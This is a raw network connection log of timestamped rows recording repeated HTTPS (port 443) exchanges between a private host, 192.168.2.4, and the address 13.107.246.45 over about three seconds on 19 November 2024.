Nov 19, 2024 19:15:14.022958040 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.022967100 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.022977114 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.023190022 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.023490906 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.023561001 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.023732901 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.023751020 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.023766041 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.023772955 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.026154995 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026176929 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.026354074 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026459932 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026475906 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.026653051 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026684046 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.026762009 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026854992 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.026881933 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.027096987 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.030159950 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.030219078 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.030329943 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.030329943 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.030335903 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.030344009 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.032666922 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.032706022 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.032829046 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.032985926 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.032998085 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.036248922 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.036459923 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.036525965 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.036556959 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.036565065 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.036581039 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.036586046 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.038975954 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.039019108 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.039127111 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.039247990 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.039274931 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.653850079 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.654375076 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.654422998 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.654907942 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.654922962 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.672483921 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.673016071 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.673053026 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.673445940 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.673459053 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.687625885 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.688026905 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.688050985 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.688441992 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.688447952 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.719233990 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.719630003 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.719655991 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.720066071 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.720082045 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.724169970 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.724519968 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.724550962 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.724872112 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.724880934 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.753720999 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.754312992 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.754395008 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.754458904 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.754458904 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.754496098 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.754518032 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.757575035 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.757617950 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.757679939 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.757832050 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.757843018 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.776257038 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.776729107 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.776793003 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.776880980 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.776880980 CET	49930	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.776926041 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.776954889 CET	443	49930	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.779680967 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.779738903 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.780128956 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.780128956 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.780193090 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.825355053 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.826145887 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.826219082 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.826257944 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.826272964 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.826314926 CET	49933	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.826328039 CET	443	49933	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.830725908 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.830789089 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.830888033 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.831083059 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.831120014 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.841975927 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.842061996 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.842116117 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.842317104 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.842331886 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.842348099 CET	49931	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.842355013 CET	443	49931	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.847397089 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.847424030 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.847529888 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.847687960 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.847717047 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.889760017 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.889924049 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.889997959 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.890161991 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.890181065 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.890191078 CET	49932	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.890197992 CET	443	49932	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.893086910 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.893142939 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.893263102 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.893435001 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.893455982 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.393634081 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.394176960 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.394211054 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.394650936 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.394654989 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.452594995 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.453285933 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.453320980 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.453792095 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.453799963 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.474751949 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.475271940 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.475296974 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.476152897 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.476159096 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.496361971 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.496753931 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.496972084 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.497308969 CET	49934	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.497327089 CET	443	49934	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.497987032 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.498470068 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.498508930 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.498967886 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.498979092 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.500119925 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.500165939 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.500243902 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.500435114 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.500452042 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.538697004 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.539241076 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.539277077 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.539822102 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.539829969 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.556451082 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.556803942 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.556852102 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.556881905 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.556921005 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.556961060 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.556962013 CET	49935	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.556988955 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.557012081 CET	443	49935	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.559779882 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.559815884 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.559971094 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.560108900 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.560137987 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.572581053 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.572797060 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.572864056 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.572927952 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.572927952 CET	49936	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.572952032 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.572969913 CET	443	49936	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.575458050 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.575473070 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.575612068 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.575788021 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.575798988 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.598758936 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.598869085 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.598917961 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.598989964 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.599107027 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.599107027 CET	49937	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.599133015 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.599157095 CET	443	49937	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.601531029 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.601593018 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.601684093 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.601826906 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.601861954 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.640080929 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.640307903 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.640532970 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.640758991 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.640785933 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.640803099 CET	49938	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.640811920 CET	443	49938	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.643282890 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.643306017 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:15.643507957 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.643671989 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:15.643682957 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.141850948 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.142402887 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.142486095 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.142982006 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.142997980 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.222295046 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.222883940 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.222904921 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.223368883 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.223375082 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.236088991 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.236629963 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.236640930 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.237076044 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.237082005 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.242786884 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.242913008 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.243171930 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.243231058 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.243231058 CET	49939	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.243257999 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.243273020 CET	443	49939	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.245999098 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.246045113 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.247132063 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.247570038 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.247594118 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.276264906 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.276763916 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.276778936 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.277432919 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.277439117 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.326463938 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.327027082 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.327301025 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.327955961 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.327970982 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.327986002 CET	49940	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.327992916 CET	443	49940	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.331541061 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.331572056 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.332035065 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.332075119 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.332078934 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.336374998 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.336498022 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.337094069 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.337124109 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.337124109 CET	49942	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.337137938 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.337148905 CET	443	49942	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.339544058 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.339585066 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.339715958 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.339895010 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.339910984 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.377012014 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.377104998 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.377305031 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.377377033 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.377391100 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.377399921 CET	49943	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.377405882 CET	443	49943	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.380891085 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.380928993 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.381184101 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.381306887 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.381330013 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.984390020 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.986983061 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.987008095 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.987467051 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.987472057 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.992830992 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.995024920 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.996460915 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.996493101 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.997014046 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.997020960 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.998219967 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.998236895 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:16.998830080 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:16.998835087 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.024422884 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.025207996 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.025226116 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.025585890 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.025590897 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.088566065 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.088896990 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.088963032 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.089153051 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.089153051 CET	49946	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.089171886 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.089181900 CET	443	49946	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.092346907 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.092361927 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.092487097 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.092789888 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.092806101 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099169970 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099373102 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099420071 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.099437952 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099451065 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099514008 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.099556923 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.099565029 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.099580050 CET	49945	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.099586010 CET	443	49945	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.103743076 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.103765965 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.103832006 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.103966951 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.103979111 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106429100 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106573105 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106630087 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.106657982 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106710911 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106791973 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.106851101 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.106863976 CET	443	49941	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.106873035 CET	49941	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.106878996 CET	443	49941	13.107.246.45	192.168.2.4
